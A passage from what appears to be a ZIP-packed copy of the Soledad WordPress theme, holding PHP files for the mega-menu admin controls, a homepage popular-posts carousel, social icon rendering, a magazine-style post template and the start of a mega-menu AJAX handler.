		$menu_control .= '<option value="3"' . selected( $penci_number_mega_menu, '3', false ) . '>3 rows</option>';
		$menu_control .= ' </select>';
		$menu_control .= '</p>';

		$menu_control .= '<p class="description all-menu-select description-wide penci-soledad-description penci-hide-child">';
		$menu_control .= '<label>Label Text</label>';
		$menu_control .= '<input value="' . $penci_menu_lbtxt . '" type="text" style="' . $style . '" name="penci_menu_lbtxt[' . $item->ID . ']" id="" class="widefat code edit-menu-item-url">';
		$menu_control .= '</p>';

		$menu_control .= '<p class="description all-menu-select description-wide penci-soledad-description penci-hide-child">';
		$menu_control .= '<label>Label Style</label>';
		$menu_control .= '<select style="' . $style . '" name="penci_menu_lbs[' . $item->ID . ']" id="" class="widefat code edit-menu-item-url">';
		$menu_control .= '<option value="1"' . selected( $penci_menu_lbs, '1', false ) . '>' . __( 'Style 1', 'soledad' ) . '</option>';
		$menu_control .= '<option value="2"' . selected( $penci_menu_lbs, '2', false ) . '>' . __( 'Style 2', 'soledad' ) . '</option>';
		$menu_control .= '<option value="4"' . selected( $penci_menu_lbs, '4', false ) . '>' . __( 'Style 3', 'soledad' ) . '</option>';
		$menu_control .= ' </select>';
		$menu_control .= '</p>';

		$menu_control .= '<p class="description all-menu-select description-wide penci-soledad-description penci-hide-child">';
		$menu_control .= '<label style="display:block">Label Text Color</label>';
		$menu_control .= '<input value="' . $penci_menu_lbcl . '" type="text" style="' . $style . '" name="penci_menu_lbcl[' . $item->ID . ']" id="penci_menu_lbcl_' . $item->ID . '" class="widefat code color-picker edit-menu-item-url">';
		$menu_control .= '</p>';

		$menu_control .= '<p class="description all-menu-select description-wide penci-soledad-description penci-hide-child">';
		$menu_control .= '<label style="display:block">Label Background Color</label>';
		$menu_control .= '<input value="' . $penci_menu_lbbg . '" type="text" style="' . $style . '" name="penci_menu_lbbg[' . $item->ID . ']" id="penci_menu_lbbg_' . $item->ID . '" class="widefat code color-picker edit-menu-item-url">';
		$menu_control .= '</p>';

		$menu_control .= '<p class="description all-menu-select description-wide penci-soledad-description penci-hide-child">';
		$menu_control .= '<label>Page Anchor (for one-page menu)</label>';
		$menu_control .= '<select style="' . $style . '" name="penci_menu_anchor[' . $item->ID . ']" id="" class="widefat code edit-menu-item-url">';
		$menu_control .= '<option value=""' . selected( $penci_menu_anchor, '', false ) . '>Disable</option>';
		$menu_control .= '<option value="enable"' . selected( $penci_menu_anchor, 'enable', false ) . '>Enable</option>';
		$menu_control .= ' </select>';
		$menu_control .= '</p>';
		
		$menu_control .= '<p class="description all-menu-select description-wide penci-soledad-description">';
		$menu_control .= '<label>Show this menu for</label>';
		$menu_control .= '<select style="' . $style . '" name="penci_menu_visible[' . $item->ID . ']" id="" class="widefat code edit-menu-item-url">';
		$menu_control .= '<option value=""' . selected( $penci_menu_visible, '', false ) . '>All Users</option>';
		$menu_control .= '<option value="loggedin"' . selected( $penci_menu_visible, 'loggedin', false ) . '>Logged In Users</option>';
		$menu_control .= '<option value="visitor"' . selected( $penci_menu_visible, 'visitor', false ) . '>Non-Logged In Users</option>';
		$menu_control .= ' </select>';
		$menu_control .= '</p>';

		parent::start_el( $menu_return, $item, $depth, $args, $id );

		$menu_return = preg_replace( '/(?=<div.*submitbox)/', $menu_control, $menu_return );

		$output .= $menu_return;
	}
}
PK     N\f       inc/modules/home_popular.phpnu [        <?php
/**
 * Popular Posts in Homepage
 */

$number_posts         = get_theme_mod( 'penci_home_popular_post_numberposts' ) ? get_theme_mod( 'penci_home_popular_post_numberposts' ) : 10;
$popular_title_length = get_theme_mod( 'penci_home_polular_title_length' ) ? get_theme_mod( 'penci_home_polular_title_length' ) : 8;
$query                = array(
	'posts_per_page' => $number_posts,
	'post_type'      => 'post',
	'meta_key'       => penci_get_postviews_key(),
	'orderby'        => 'meta_value_num',
	'order'          => 'DESC'
);

if ( get_theme_mod( 'penci_home_popular_type' ) == 'week' ) {
	$query = array(
		'posts_per_page' => $number_posts,
		'post_type'      => 'post',
		'meta_key'       => 'penci_post_week_views_count',
		'orderby'        => 'meta_value_num',
		'order'          => 'DESC'
	);
} elseif ( get_theme_mod( 'penci_home_popular_type' ) == 'month' ) {
	$query = array(
		'posts_per_page' => $number_posts,
		'post_type'      => 'post',
		'meta_key'       => 'penci_post_month_views_count',
		'orderby'        => 'meta_value_num',
		'order'          => 'DESC'
	);
} elseif ( get_theme_mod( 'penci_home_popular_type' ) == 'jetpack' ) {
	$query = array(
		'posts_per_page' => $number_posts,
		'post_type'      => 'post',
		'meta_key'       => '_jetpack_post_view',
		'orderby'        => 'meta_value_num',
		'order'          => 'DESC'
	);
}

$popular_cat = get_theme_mod( 'penci_home_popular_cat' );
if ( $popular_cat && '0' != $popular_cat ):
	$query['cat'] = $popular_cat;
endif;

$popular = new WP_Query( $query );

if ( $popular->have_posts() ) {
	$data_loop            = '';
	$data_nav             = get_theme_mod( 'penci_home_popular_shownav' ) ? 'true' : 'false';
	$data_dots            = get_theme_mod( 'penci_home_popular_hidedots' ) ? 'false' : 'true';
	$number_posts_display = $popular->post_count;
	if ( $number_posts_display < 5 ):
		$data_loop = ' data-loop="false"';
	endif;
	$popular_title = get_theme_mod( 'penci_home_popular_title' );
	?>
    <div class="container penci-home-popular-posts">
        <h2 class="home-pupular-posts-title">
		<span>
			<?php echo penci_get_setting( 'penci_home_popular_title' ); ?>
		</span>
        </h2>
        <div class="swiper penci-owl-carousel penci-owl-carousel-slider penci-related-carousel penci-home-popular-post"<?php echo $data_loop; ?>
             data-lazy="true" data-item="4" data-desktop="4" data-tablet="3" data-tabsmall="2" data-auto="false"
             data-speed="300" data-dots="<?php echo $data_dots; ?>" data-nav="<?php echo $data_nav; ?>">
            <div class="swiper-wrapper">
				<?php while ( $popular->have_posts() ) : $popular->the_post(); ?>
                    <div class="item-related swiper-slide">
                        <div class="item-related-inner">
							<?php if ( ( function_exists( 'has_post_thumbnail' ) ) && ( has_post_thumbnail() ) ) : ?>
								<?php do_action( 'penci_bookmark_post', get_the_ID() ); ?>

                                <a <?php echo penci_layout_bg( penci_get_featured_image_size( get_the_ID(), penci_featured_images_size() ) ); ?> class="<?php echo penci_layout_bg_class();?> related-thumb penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                                   href="<?php the_permalink() ?>"
                                   title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
									<?php echo penci_layout_img( penci_get_featured_image_size( get_the_ID(), penci_featured_images_size() ), get_the_title() ); ?>


									<?php if ( has_post_thumbnail() && get_theme_mod( 'penci_enable_home_popular_icons' ) ): ?>
										<?php if ( has_post_format( 'video' ) ) : ?>
											<?php penci_fawesome_icon( 'fas fa-play' ); ?>
										<?php endif; ?>
										<?php if ( has_post_format( 'audio' ) ) : ?>
											<?php penci_fawesome_icon( 'fas fa-music' ); ?>
										<?php endif; ?>
										<?php if ( has_post_format( 'link' ) ) : ?>
											<?php penci_fawesome_icon( 'fas fa-link' ); ?>
										<?php endif; ?>
										<?php if ( has_post_format( 'quote' ) ) : ?>
											<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
										<?php endif; ?>
										<?php if ( has_post_format( 'gallery' ) ) : ?>
											<?php penci_fawesome_icon( 'far fa-image' ); ?>
										<?php endif; ?>
									<?php endif; ?>
                                </a>
							<?php endif; ?>

                            <h3 class="entry-title"><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                                       href="<?php the_permalink(); ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $popular_title_length, '...' ); ?></a>
                            </h3>
							<?php if ( ! get_theme_mod( 'penci_hide_date_home_popular' ) ) : ?>
                                <span class="date"><?php penci_soledad_time_link(); ?></span>
							<?php endif; ?>
                        </div>
                    </div>
				<?php
				endwhile;
				?>
            </div>
        </div>
    </div>
	<?php
}
wp_reset_postdata();
?>

PK     N\)X%  %    inc/modules/svg-social.phpnu [        <?php
/* Function callback render svg icons */
if ( ! function_exists( 'penci_svg_social' ) ) {
	function penci_svg_social( $icon, $size = null ) {
		$return = '';
		$size_freturn = $size_wreturn = '';
		if( $size ) {
			$size_wreturn = ' style="width: '. $size .'px;"';
			$size_freturn = ' style="font-size: '. $size .'px;"';
		}
		$fontawesome_ver5 = get_theme_mod( 'penci_fontawesome_ver5' );
		

		if( $fontawesome_ver5 ) {
			if( $icon == 'line' ) {
				$return = '<i class="fab fa-line"'. $size_freturn .'></i>';
			} else if( $icon == 'viber' ) {
				$return = '<i class="fab fa-viber"'. $size_freturn .'></i>';
			} else if( $icon == 'discord' ) {
				$return = '<i class="fab fa-discord"'. $size_freturn .'></i>';
			} else if( $icon == 'goodreads' ) {
				$return = '<i class="fab fa-goodreads"'. $size_freturn .'></i>';
			} else if( $icon == 'tiktok' ) {
				//$return = '<i class="penci-icon-tiktok"><svg aria-hidden="true"'. $size_wreturn .' data-prefix="fab" data-icon="tiktok" class="penci-svg-tiktok" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><path fill="currentColor" d="M448,209.91a210.06,210.06,0,0,1-122.77-39.25V349.38A162.55,162.55,0,1,1,185,188.31V278.2a74.62,74.62,0,1,0,52.23,71.18V0l88,0a121.18,121.18,0,0,0,1.86,22.17h0A122.18,122.18,0,0,0,381,102.39a121.43,121.43,0,0,0,67,20.14Z" class=""></path></svg></i>';
				$return = '<i class="penciicon-tik-tok"'. $size_freturn .'></i>';
			} else if( $icon == 'messenger' ) {
				$return = '<i class="fab fa-facebook-messenger"'. $size_freturn .'></i>';
			} else if( $icon == 'douban' ) {
				$return = '<i class="penciicon-douban-logo"'. $size_freturn .'></i>';
			} else if( $icon == 'qq' ) {
				$return = '<i class="penciicon-qq-social-logo-of-a-penguin"'. $size_freturn .'></i>';
			}
		} else {
			if( $icon == 'line' ) {
				$return = '<i class="penciicon-line"'. $size_freturn .'></i>';
				//$return = '<i class="penci-icon-line"><svg aria-hidden="true"'. $size_wreturn .' data-prefix="fab" data-icon="line" class="penci-svg-line" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><path fill="currentColor" d="M272.1 204.2v71.1c0 1.8-1.4 3.2-3.2 3.2h-11.4c-1.1 0-2.1-.6-2.6-1.3l-32.6-44v42.2c0 1.8-1.4 3.2-3.2 3.2h-11.4c-1.8 0-3.2-1.4-3.2-3.2v-71.1c0-1.8 1.4-3.2 3.2-3.2H219c1 0 2.1.5 2.6 1.4l32.6 44v-42.2c0-1.8 1.4-3.2 3.2-3.2h11.4c1.8-.1 3.3 1.4 3.3 3.1zm-82-3.2h-11.4c-1.8 0-3.2 1.4-3.2 3.2v71.1c0 1.8 1.4 3.2 3.2 3.2h11.4c1.8 0 3.2-1.4 3.2-3.2v-71.1c0-1.7-1.4-3.2-3.2-3.2zm-27.5 59.6h-31.1v-56.4c0-1.8-1.4-3.2-3.2-3.2h-11.4c-1.8 0-3.2 1.4-3.2 3.2v71.1c0 .9.3 1.6.9 2.2.6.5 1.3.9 2.2.9h45.7c1.8 0 3.2-1.4 3.2-3.2v-11.4c0-1.7-1.4-3.2-3.1-3.2zM332.1 201h-45.7c-1.7 0-3.2 1.4-3.2 3.2v71.1c0 1.7 1.4 3.2 3.2 3.2h45.7c1.8 0 3.2-1.4 3.2-3.2v-11.4c0-1.8-1.4-3.2-3.2-3.2H301v-12h31.1c1.8 0 3.2-1.4 3.2-3.2V234c0-1.8-1.4-3.2-3.2-3.2H301v-12h31.1c1.8 0 3.2-1.4 3.2-3.2v-11.4c-.1-1.7-1.5-3.2-3.2-3.2zM448 113.7V399c-.1 44.8-36.8 81.1-81.7 81H81c-44.8-.1-81.1-36.9-81-81.7V113c.1-44.8 36.9-81.1 81.7-81H367c44.8.1 81.1 36.8 81 81.7zm-61.6 122.6c0-73-73.2-132.4-163.1-132.4-89.9 0-163.1 59.4-163.1 132.4 0 65.4 58 120.2 136.4 130.6 19.1 4.1 16.9 11.1 12.6 36.8-.7 4.1-3.3 16.1 14.1 8.8 17.4-7.3 93.9-55.3 128.2-94.7 23.6-26 34.9-52.3 34.9-81.5z"></path></svg></i>';
			} else if( $icon == 'viber' ) {
				$return = '<i class="penciicon-viber"'. $size_freturn .'></i>';
				//$return = '<i class="penci-icon-viber"><svg aria-hidden="true"'. $size_wreturn .' data-prefix="fab" data-icon="viber" class="penci-svg-viber" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path fill="currentColor" d="M444 49.9C431.3 38.2 379.9.9 265.3.4c0 0-135.1-8.1-200.9 52.3C27.8 89.3 14.9 143 13.5 209.5c-1.4 66.5-3.1 191.1 117 224.9h.1l-.1 51.6s-.8 20.9 13 25.1c16.6 5.2 26.4-10.7 42.3-27.8 8.7-9.4 20.7-23.2 29.8-33.7 82.2 6.9 145.3-8.9 152.5-11.2 16.6-5.4 110.5-17.4 125.7-142 15.8-128.6-7.6-209.8-49.8-246.5zM457.9 287c-12.9 104-89 110.6-103 115.1-6 1.9-61.5 15.7-131.2 11.2 0 0-52 62.7-68.2 79-5.3 5.3-11.1 4.8-11-5.7 0-6.9.4-85.7.4-85.7-.1 0-.1 0 0 0-101.8-28.2-95.8-134.3-94.7-189.8 1.1-55.5 11.6-101 42.6-131.6 55.7-50.5 170.4-43 170.4-43 96.9.4 143.3 29.6 154.1 39.4 35.7 30.6 53.9 103.8 40.6 211.1zm-139-80.8c.4 8.6-12.5 9.2-12.9.6-1.1-22-11.4-32.7-32.6-33.9-8.6-.5-7.8-13.4.7-12.9 27.9 1.5 43.4 17.5 44.8 46.2zm20.3 11.3c1-42.4-25.5-75.6-75.8-79.3-8.5-.6-7.6-13.5.9-12.9 58 4.2 88.9 44.1 87.8 92.5-.1 8.6-13.1 8.2-12.9-.3zm47 13.4c.1 8.6-12.9 8.7-12.9.1-.6-81.5-54.9-125.9-120.8-126.4-8.5-.1-8.5-12.9 0-12.9 73.7.5 133 51.4 133.7 139.2zM374.9 329v.2c-10.8 19-31 40-51.8 33.3l-.2-.3c-21.1-5.9-70.8-31.5-102.2-56.5-16.2-12.8-31-27.9-42.4-42.4-10.3-12.9-20.7-28.2-30.8-46.6-21.3-38.5-26-55.7-26-55.7-6.7-20.8 14.2-41 33.3-51.8h.2c9.2-4.8 18-3.2 23.9 3.9 0 0 12.4 14.8 17.7 22.1 5 6.8 11.7 17.7 15.2 23.8 6.1 10.9 2.3 22-3.7 26.6l-12 9.6c-6.1 4.9-5.3 14-5.3 14s17.8 67.3 84.3 84.3c0 0 9.1.8 14-5.3l9.6-12c4.6-6 15.7-9.8 26.6-3.7 14.7 8.3 33.4 21.2 45.8 32.9 7 5.7 8.6 14.4 3.8 23.6z"></path></svg></i>';
			} else if( $icon == 'discord' ) {
				$return = '<i class="penciicon-discord"'. $size_freturn .'></i>';
				//$return = '<i class="penci-icon-discord"><svg aria-hidden="true"'. $size_wreturn .' data-prefix="fab" data-icon="discord" class="penci-svg-discord" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><path fill="currentColor" d="M297.216 243.2c0 15.616-11.52 28.416-26.112 28.416-14.336 0-26.112-12.8-26.112-28.416s11.52-28.416 26.112-28.416c14.592 0 26.112 12.8 26.112 28.416zm-119.552-28.416c-14.592 0-26.112 12.8-26.112 28.416s11.776 28.416 26.112 28.416c14.592 0 26.112-12.8 26.112-28.416.256-15.616-11.52-28.416-26.112-28.416zM448 52.736V512c-64.494-56.994-43.868-38.128-118.784-107.776l13.568 47.36H52.48C23.552 451.584 0 428.032 0 398.848V52.736C0 23.552 23.552 0 52.48 0h343.04C424.448 0 448 23.552 448 52.736zm-72.96 242.688c0-82.432-36.864-149.248-36.864-149.248-36.864-27.648-71.936-26.88-71.936-26.88l-3.584 4.096c43.52 13.312 63.744 32.512 63.744 32.512-60.811-33.329-132.244-33.335-191.232-7.424-9.472 4.352-15.104 7.424-15.104 7.424s21.248-20.224 67.328-33.536l-2.56-3.072s-35.072-.768-71.936 26.88c0 0-36.864 66.816-36.864 149.248 0 0 21.504 37.12 78.08 38.912 0 0 9.472-11.52 17.152-21.248-32.512-9.728-44.8-30.208-44.8-30.208 3.766 2.636 9.976 6.053 10.496 6.4 43.21 24.198 104.588 32.126 159.744 8.96 8.96-3.328 18.944-8.192 29.44-15.104 0 0-12.8 20.992-46.336 30.464 7.68 9.728 16.896 20.736 16.896 20.736 56.576-1.792 78.336-38.912 78.336-38.912z" class=""></path></svg></i>';
			} else if( $icon == 'goodreads' ) {
				$return = '<i class="penciicon-goodreads"'. $size_freturn .'></i>';
				//$return = '<i class="penci-icon-goodreads"><svg aria-hidden="true"'. $size_wreturn .' data-prefix="fab" data-icon="goodreads" class="penci-svg-goodreads" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><path fill="currentColor" d="M299.9 191.2c5.1 37.3-4.7 79-35.9 100.7-22.3 15.5-52.8 14.1-70.8 5.7-37.1-17.3-49.5-58.6-46.8-97.2 4.3-60.9 40.9-87.9 75.3-87.5 46.9-.2 71.8 31.8 78.2 78.3zM448 88v336c0 30.9-25.1 56-56 56H56c-30.9 0-56-25.1-56-56V88c0-30.9 25.1-56 56-56h336c30.9 0 56 25.1 56 56zM330 313.2s-.1-34-.1-217.3h-29v40.3c-.8.3-1.2-.5-1.6-1.2-9.6-20.7-35.9-46.3-76-46-51.9.4-87.2 31.2-100.6 77.8-4.3 14.9-5.8 30.1-5.5 45.6 1.7 77.9 45.1 117.8 112.4 115.2 28.9-1.1 54.5-17 69-45.2.5-1 1.1-1.9 1.7-2.9.2.1.4.1.6.2.3 3.8.2 30.7.1 34.5-.2 14.8-2 29.5-7.2 43.5-7.8 21-22.3 34.7-44.5 39.5-17.8 3.9-35.6 3.8-53.2-1.2-21.5-6.1-36.5-19-41.1-41.8-.3-1.6-1.3-1.3-2.3-1.3h-26.8c.8 10.6 3.2 20.3 8.5 29.2 24.2 40.5 82.7 48.5 128.2 37.4 49.9-12.3 67.3-54.9 67.4-106.3z" class=""></path></svg></i>';
			} else if( $icon == 'tiktok' ) {
				$return = '<i class="penciicon-tik-tok"'. $size_freturn .'></i>';
				//$return = '<i class="penci-icon-tiktok"><svg aria-hidden="true"'. $size_wreturn .' data-prefix="fab" data-icon="tiktok" class="penci-svg-tiktok" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><path fill="currentColor" d="M448,209.91a210.06,210.06,0,0,1-122.77-39.25V349.38A162.55,162.55,0,1,1,185,188.31V278.2a74.62,74.62,0,1,0,52.23,71.18V0l88,0a121.18,121.18,0,0,0,1.86,22.17h0A122.18,122.18,0,0,0,381,102.39a121.43,121.43,0,0,0,67,20.14Z" class=""></path></svg></i>';
			} else if( $icon == 'messenger' ) {
				$return = '<i class="penciicon-messenger"'. $size_freturn .'></i>';
				//$return = '<i class="penci-icon-messenger"><svg aria-hidden="true"'. $size_wreturn .' data-prefix="fab" data-icon="facebook-messenger" class="penci-svg-messenger" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512" class="svg-inline--fa fa-facebook-messenger fa-w-16 fa-3x"><path fill="currentColor" d="M256.55 8C116.52 8 8 110.34 8 248.57c0 72.3 29.71 134.78 78.07 177.94 8.35 7.51 6.63 11.86 8.05 58.23A19.92 19.92 0 0 0 122 502.31c52.91-23.3 53.59-25.14 62.56-22.7C337.85 521.8 504 423.7 504 248.57 504 110.34 396.59 8 256.55 8zm149.24 185.13l-73 115.57a37.37 37.37 0 0 1-53.91 9.93l-58.08-43.47a15 15 0 0 0-18 0l-78.37 59.44c-10.46 7.93-24.16-4.6-17.11-15.67l73-115.57a37.36 37.36 0 0 1 53.91-9.93l58.06 43.46a15 15 0 0 0 18 0l78.41-59.38c10.44-7.98 24.14 4.54 17.09 15.62z" class=""></path></svg></i>';
			} else if( $icon == 'douban' ) {
				$return = '<i class="penciicon-douban-logo"'. $size_freturn .'></i>';
			} else if( $icon == 'qq' ) {
				$return = '<i class="penciicon-qq-social-logo-of-a-penguin"'. $size_freturn .'></i>';
			}
		}
		return $return;
	}
}PK     N\AK    !  inc/modules/magazine-style-14.phpnu [        <?php
/**
 * Template display for featured category style 14
 *
 * @since 1.0
 */
?>

<div class="mag-post-box hentry<?php if ( $m == 1 ): echo ' first-post'; endif; ?>">
	<?php if ( $m == 1 ) { ?>
        <div class="magcat-thumb">
			<?php
			$size_pie = 'small';
			if ( $m == 1 ): $size_pie = 'normal'; endif;
			do_action( 'penci_bookmark_post', get_the_ID(), $size_pie );
			/* Display Review Piechart  */
			if ( function_exists( 'penci_display_piechart_review_html' ) ) {
				penci_display_piechart_review_html( get_the_ID(), $size_pie );
			}
			?>

            <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), penci_featured_images_size() ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder<?php if ( $m > 1 ): echo ' small-fix-size'; endif; ?><?php echo penci_class_lightbox_enable(); ?>"
               href="<?php penci_permalink_fix(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
				<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), penci_featured_images_size() ), get_the_title() ); ?>
            </a>


			<?php if ( has_post_thumbnail() && get_theme_mod( 'penci_home_featured_cat_icons' ) ): ?>
				<?php if ( has_post_format( 'video' ) ) : ?>
                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'audio' ) ) : ?>
                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'link' ) ) : ?>
                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'quote' ) ) : ?>
                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'gallery' ) ) : ?>
                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                       aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
				<?php endif; ?>
			<?php endif; ?>

            <div class="magcat-detail">
                <div class="mag-header">
                    <h3 class="magcat-titlte entry-title"><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a>
                    </h3>
					<?php $hide_readtime = get_theme_mod( 'penci_home_cat_readtime' ); ?>
					<?php if ( ! get_theme_mod( 'penci_home_featured_cat_author' ) || ! get_theme_mod( 'penci_home_featured_cat_date' ) || get_theme_mod( 'penci_home_featured_cat_comment' ) || get_theme_mod( 'penci_home_cat_views' ) || penci_isshow_reading_time( $hide_readtime ) ): ?>
                        <div class="grid-post-box-meta mag-meta">
							<?php if ( ! get_theme_mod( 'penci_home_featured_cat_author' ) ) : ?>
                                <span class="featc-author author-italic author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
										penci_coauthors_posts_links();
									else: ?>
                                        <a class="author-url url fn n"
                                           href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
									<?php endif; ?></span>
							<?php endif; ?>
							<?php if ( ! get_theme_mod( 'penci_home_featured_cat_date' ) ) : ?>
                                <span class="featc-date"><?php penci_soledad_time_link(); ?></span>
							<?php endif; ?>
							<?php if ( get_theme_mod( 'penci_home_featured_cat_comment' ) ) : ?>
                                <span class="featc-comment"><a
                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
							<?php endif; ?>
							<?php if ( get_theme_mod( 'penci_home_cat_views' ) ) {
								echo '<span class="featc-views">';
								echo penci_get_post_views( get_the_ID() );
								echo ' ' . penci_get_setting( 'penci_trans_countviews' );
								echo '</span>';
							} ?>
							<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                                <span class="featc-readtime"><?php penci_reading_time(); ?></span>
							<?php endif; ?>
							<?php do_action( 'penci_extra_meta' ); ?>
                        </div>
					<?php endif; ?>
                </div>
            </div>

        </div>
	<?php } else { ?>
        <div class="magcat-detail">
            <div class="magcat-padding">
                <h3 class="magcat-titlte entry-title magcat-title-small"><a
                            href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h3>
				<?php do_action( 'penci_after_post_title' ); ?>
				<?php penci_soledad_meta_schema(); ?>
            </div>
        </div>
	<?php } ?>
</div>
PK     N\deqB  B    inc/modules/penci-render.phpnu [        <?php
/**
 * Content in mega menu
 *
 * @return HTML inner mega menu
 * @since 1.0
 */

use Elementor\Plugin;

if ( ! function_exists( 'penci_html_mega_menu' ) ) {
	add_action( 'wp_ajax_penci_html_mega_menu', 'penci_html_mega_menu' );
	add_action( 'wp_ajax_nopriv_penci_html_mega_menu', 'penci_html_mega_menu' );
	function penci_html_mega_menu() {

		check_ajax_referer( 'penci-load-mega', 'id' );

		$menu     = $_REQUEST['menu'];
		$item     = $_REQUEST['item'];
		$catid    = $_REQUEST['catid'];
		$number   = $_REQUEST['number'];
		$style    = $_REQUEST['style'];
		$position = $_REQUEST['position'];

		$menu         = wp_get_nav_menu_items( $menu );
		$current_item = isset( $menu[ $item ] ) && is_object( $menu[ $item ] ) ? $menu[ $item ] : '';

		$menu_html = penci_return_html_mega_menu( $catid, $number, $style, $position, $menu, $current_item );
		wp_send_json_success( $menu_html );
	}

}

if ( ! function_exists( 'penci_return_html_mega_menu' ) ) {
	function penci_return_html_mega_menu( $catID, $row, $style, $position, $items, $current ) {
		$args               = [
			'parent'       => (int) $catID,
			'orderby'      => 'name',
			'order'        => 'ASC',
			'hide_empty'   => true,
			'hierarchical' => 1,
			'taxonomy'     => 'category',
		];
		$child_categories   = get_terms( $args );
		$all_text           = penci_get_setting( 'penci_trans_all' );
		$list_links         = $list_cats = [];
		$sub_menu_list_html = '';
		$menu_style         = get_theme_mod( 'penci_header_menu_style' );

		$child_items  = is_object( $current ) && isset( $current->ID ) ? penci_menu_childs( $items, $current->ID ) : [];
		$new_list_cat = [];

		if ( ! empty( $child_items ) ) {

			$term_all               = get_term_by( 'id', absint( $catID ), 'category' );
			$all_text               = $term_all->name;
			$list_cats[ $all_text ] = $catID;

			$count = 2;

			foreach ( $child_items as $id => $child_item ) {

				$parent_menu_id = $child_item->menu_item_parent;

				$child_class = $parent_menu_id != $current->ID ? 'pcmnl-ci' : 'pcmnl-ni';

				if ( $child_item->object == 'category' ) {
					$new_list_cat[ $child_item->title ] = $child_item->object_id;
					$sub_menu_list_html                 .= '<a class="' . $child_class . ' mega-cat-child';

					if ( ( $menu_style != 'menu-style-2' && $count == 1 ) || ( $menu_style == 'menu-style-2' && ( ( get_theme_mod( 'penci_topbar_mega_hide_alltab' ) && $count == 1 ) || ( ! get_theme_mod( 'penci_topbar_mega_hide_alltab' ) && $child_item->object_id == $catID ) ) ) ):
						$sub_menu_list_html .= ' cat-active';
					endif;

					if ( ! get_theme_mod( 'penci_topbar_mega_hide_alltab' ) && $child_item->object_id == $catID ):
						$sub_menu_list_html .= ' all-style';
					endif;
					$sub_menu_list_html .= '" href="' . esc_url( get_category_link( $child_item->object_id ) ) . '" data-id="penci-mega-' . esc_attr( $child_item->object_id ) . '"><span>' . sanitize_text_field( $child_item->title ) . '</span></a>';
				} else {
					$sub_menu_list_html .= '<a href="' . esc_url( $child_item->url ) . '" title="' . $child_item->title . '" class="' . $child_class . ' mega-normal-child"><span>' . $child_item->title . '</span></a>';
				}

				$count ++;
			}

			$child_categories = [];
		} else {
			$list_cats = [ $all_text => $catID ];
		}

		$mega_title_length = get_theme_mod( 'penci_megamenu_title_length' ) ? get_theme_mod( 'penci_megamenu_title_length' ) : 8;

		if ( ( ( get_theme_mod( 'penci_topbar_mega_hide_alltab' ) && $menu_style != 'menu-style-2' ) || $menu_style == 'menu-style-2' ) && ! empty( $child_categories ) ):
			$list_cats = [];
		endif;

		if ( ! empty( $child_categories ) ):

			foreach ( $child_categories as $child_cat ) {
				$list_cats[ $child_cat->name ] = $child_cat->term_id;
			}

		endif;

		if ( ! get_theme_mod( 'penci_topbar_mega_hide_alltab' ) && $menu_style == 'menu-style-2' && ! empty( $child_categories ) ):
			$list_cats[ $all_text ] = $catID;
		endif;

		$has_slide = ! empty( $child_categories ) || $sub_menu_list_html != '';

		$new_style = $style == 4 || $style == 5;

		/* Check rows to show number posts */
		if ( ! isset( $row ) || empty( $row ) ): $row = '1';endif;
		$col           = 'col-mn-5 mega-row-1';
		$numbers       = 5;
		$class_content = '';
		if ( $has_slide || $new_style ) {
			$col     = 'col-mn-4 mega-row-1';
			$numbers = 4;
		}

		if ( '2' == $row ) {
			$col     = 'col-mn-5 mega-row-2';
			$numbers = 10;
			if ( $has_slide || $new_style ) {
				$col     = 'col-mn-4 mega-row-2';
				$numbers = 8;
			}

		} elseif ( '3' == $row ) {
			$col     = 'col-mn-5 mega-row-3';
			$numbers = 15;
			if ( $has_slide || $new_style ) {
				$col     = 'col-mn-4 mega-row-3';
				$numbers = 12;
			}

		}

		$header_layout    = penci_soledad_get_header_layout();
		$header_container = penci_soledad_get_header_container_width();
		if ( ( in_array( $header_layout, [
					'header-7',
					'header-8',
					'header-9',
				] ) || 'fullwidth' == $header_container ) && ! get_theme_mod( 'penci_body_boxed_layout' ) ) {
			$class_content = ' penci-mega-fullct';
			$col           = 'col-mn-7 mega-row-1';
			$numbers       = 7;
			if ( $has_slide || $new_style ) {
				$col     = 'col-mn-6 mega-row-1';
				$numbers = 6;
			}

